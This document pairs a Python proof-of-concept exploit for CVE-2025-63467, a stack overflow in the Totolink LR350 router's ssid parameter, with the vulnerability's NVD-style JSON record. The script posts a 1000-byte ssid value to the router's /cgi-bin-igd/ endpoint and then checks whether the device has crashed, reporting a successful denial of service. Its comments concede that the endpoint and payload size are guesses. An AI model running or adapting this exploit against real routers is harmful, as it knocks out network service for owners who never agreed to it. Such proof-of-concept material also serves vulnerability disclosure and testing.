CVE-2025-63467

import requests # CVE-2025-63467 PoC - Totolink LR350 Stack Overflow in ssid parameter # Target: Totolink LR350 Router # Vulnerability: Stack overflow via ssid parameter in sub_425400 function # Impact: Denial of Service (DoS) TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 SSID_PAYLOAD_SIZE = 1000 # Size to trigger overflow def create_ssid_payload(size): """Generate oversized ssid payload to trigger stack overflow""" # Create a long string to overflow the stack buffer # The actual required size depends on the buffer allocation in sub_425400 return "A" * size def exploit_cve_2025_63467(): """Send malicious ssid parameter to trigger DoS""" url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin-igd/" # Construct the malicious ssid parameter ssid_payload = create_ssid_payload(SSID_PAYLOAD_SIZE) # HTTP request with oversized ssid parameter # This targets the wireless settings endpoint data = { "ssid": ssid_payload, "method": "set" # Common method for configuration changes } try: # Send the malicious request response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload size: {len(ssid_payload)} bytes") print(f"[*] Response status: {response.status_code}") # Check if target is still responsive check_url = f"http://{TARGET_IP}:{TARGET_PORT}/" check_response = requests.get(check_url, timeout=5) if check_response.status_code == 200: print("[-] Target still responsive, try increasing payload size") else: print("[+] Target appears to be down - DoS successful") except requests.exceptions.Timeout: print("[+] Target did not respond - DoS likely successful") except requests.exceptions.ConnectionError: print("[+] Connection failed - Target may be down") except Exception as e: print(f"[!] Error: {str(e)}") if __name__ == "__main__": print("[*] CVE-2025-63467 PoC - Totolink LR350 Stack Overflow") print("[*] Target: ssid parameter in sub_425400 function") print("[*] Vulnerability: Stack-based buffer overflow") print("[*] Impact: Denial of Service") exploit_cve_2025_63467()

{"cve": {"id": "CVE-2025-63467", "sourceIdentifier": "[email protected]", "published": "2025-10-31T16:15:40.910", "lastModified": "2025-11-05T17:30:37.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Totolink LR350 v9.3.5u.6369_B20220309 was discovered to contain a stack overflow via the ssid parameter in the sub_425400 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr350_firmware:9.3.5u.6369_b20220309:*:*:*:*:*:*:*", "matchCriteriaId": "6E7C618F-D415-4075-96A5-45E44B52FB62"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr350:-:*:*:*:*:*:*:*", "matchCriteriaId": "4CA0663B-3F55-44EF-AF32-F83AB0411748"}]}]}], "references": [{"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/3/1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/0-fool/VulnbyCola/blob/main/TOTOLINK/LR350/3/1.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}